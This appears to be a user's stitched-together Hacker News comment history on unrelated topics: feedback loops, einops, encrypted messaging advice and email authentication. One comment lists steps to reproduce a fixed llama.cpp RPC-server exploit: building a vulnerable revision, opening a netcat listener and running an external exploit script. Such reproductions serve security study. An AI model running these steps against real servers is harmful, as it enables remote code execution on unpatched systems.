yamrzou

It doesn't limit apps, it just displays your screen time in a permanent notification and allows you to view and export past statistics.

I've found that to be very effective. From a systems perspective, it amounts to adding a new feedback loop, similar to this leverage point described by Donella Meadows[1]:

There was this subdivision of identical houses, the story goes, except that for some reason the electric meter in some of the houses was installed in the basement and in others it was installed in the front hall, where the residents could see it constantly, going round faster or slower as they used more or less electricity. With no other change, with identical prices, electricity consumption was 30 percent lower in the houses where the meter was in the front hall.

We systems-heads love that story because it’s an example of a high leverage point in the information structure of the system. It’s not a parameter adjustment, not a strengthening or weakening of an existing loop. It’s a NEW LOOP, delivering feedback to a place where it wasn’t going before.

[1] Leverage Points: Places to Intervene in a System - https://donellameadows.org/archives/leverage-points-places-t...

— Paul Virilio

Has RL changed since then?

Descriptive Matrix Operations with Einops — https://www.kolaayonrinde.com/blog/2024/01/08/einops.html

Einops tutorial — https://einops.rocks/1-einops-basics/

  git clone https://github.com/ggml-org/llama.cpp.git && cd llama.cpp
  git checkout c0d4843225eed38903ea71ef302a02fa0b27f048 # Checkout a revision prior to the exploit fix in 1d20e53c40c3cc848ba2b95f5bf7c075eeec8b19
  mkdir build-rpc && cd build-rpc
  cmake .. -DGGML_RPC=ON
  cmake --build . --config Release
  cd bin/
  ./rpc-server -p 50052

  nc -lvp 1337

  pip install pwntools
  python exp.py # From https://gist.github.com/retr0reg/d13de3fde8f9d138fe1af48e59e630a9

[1] https://quran.com/6/145

  Our open-source code that we are legally bound to use doesn't provide any metadata that could be used to learn who connects to whom. But the privacy of users' connections still depends on us honouring our promises and privacy policy.

[1] https://simplex.chat/blog/20241125-servers-operated-by-flux-...

  Use end-to-end encrypted messaging applications for all your digital communications:
  - Ideally, use peer-to-peer and metadata-resistant applications such as Cwtch or Briar. Otherwise, use metadata-resistant applications such as SimpleX or Signal.
  - Email is not metadata-resistant and should be avoided if possible. If you must use email, use PGP encryption and register an address with a trusted service provider.
  Do not use:
  - Delta Chat or Matrix, as they are not sufficiently metadata-resistant.
  - Telegram, as not all messages are end-to-end-encrypted.

  Since SimpleX requires that users place some trust in the SimpleX servers, we recommend prioritizing Cwtch over SimpleX Chat for text communication with other anarchists, and using SimpleX Chat or Signal for voice and video calls. Unlike Signal, SimpleX Chat doesn't require a phone number or smartphone.

[1] https://www.notrace.how/threat-library/mitigations/digital-b...

[2] https://www.anarsec.guide/posts/e2ee/

The Olson Circumplex Model: A systemic approach to couple and family relationships — https://psychology.org.au/publications/inpsych/2011/february...

Bruce Ames’ Triage Theory – Explained – https://fastlifehacks.com/bruce-ames-triage-theory/

> Another is 2FA. It would be relatively easy to implement in the web interfaces, but not with SMTP (submission) and IMAP. Most clients can at most do cram-md5 for authentication mechanism (old). I don’t know any clients doing the safer scram-sha-256-plus properly (with mutual verification and TLS channel binding, mox implements it). Interested in hearing what the thoughts are on these topics.